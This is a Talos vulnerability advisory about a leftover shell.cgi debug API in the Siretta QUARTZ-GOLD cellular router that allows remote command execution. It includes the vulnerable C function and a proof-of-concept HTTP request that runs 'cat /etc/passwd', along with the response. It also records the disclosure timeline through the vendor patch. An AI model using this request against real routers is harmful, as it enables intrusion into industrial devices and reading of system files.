Talos Vulnerability Report

SUMMARY

A leftover debug code vulnerability exists in the httpd shell.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

PRODUCT URLS

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

CVSSv3 SCORE

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-489 - Leftover Debug Code

DETAILS

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

Based on the web page shown, functionalities and the documentation publicly available, the QUARTZ-GOLD does not provide any way to directly access the linux system that runs on the router. The router’s web server is based on AdvancedTomato, which offers several debug APIs active by default. The developer, allegedly, forgot to disable those debug APIs. For instance, the AdvancedTomato’s shell.cgi API is still active, allowing arbitrary command execution:

static void wo_shell(char *url)
{
    web_puts("\ncmdresult = '");
    _execute_command(NULL, webcgi_get("command"), NULL, WOF_JAVASCRIPT);
    web_puts("';");
}

wo_shell is the function that is called when the shell.cgi API is requested. This function will call the _execute_command with the request’s command parameter. This function will effectively execute the provided shell command. The leftover debug code allows arbitrary command execution.

Exploit Proof of Concept

Sending a request like the following:

POST /shell.cgi HTTP/1.1
Authorization: Basic <a valid basic auth>
Content-Length: 52

command=cat /etc/passwd&_http_id=<the correct tid>

Will generate the following response:

HTTP/1.0 200 OK
Date: Sat, 01 Jan 2000 22:01:30 GMT
Content-Type: text/javascript
Cache-Control: no-cache, no-store, must-revalidate, private
Expires: Thu, 31 Dec 1970 00:00:00 GMT
Pragma: no-cache
Connection: close


cmdresult = 'root:x:0:0:root:/root:/bin/sh\x0aadmin:x:0:0:admin:/root:/bin/sh\x0anobody:x:65534:65534:nobody:/dev/null:/dev/null\x0a';

The request will make the router execute the command cat /etc/passwd and respond to the HTTP request with the output of the command back.

TIMELINE

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release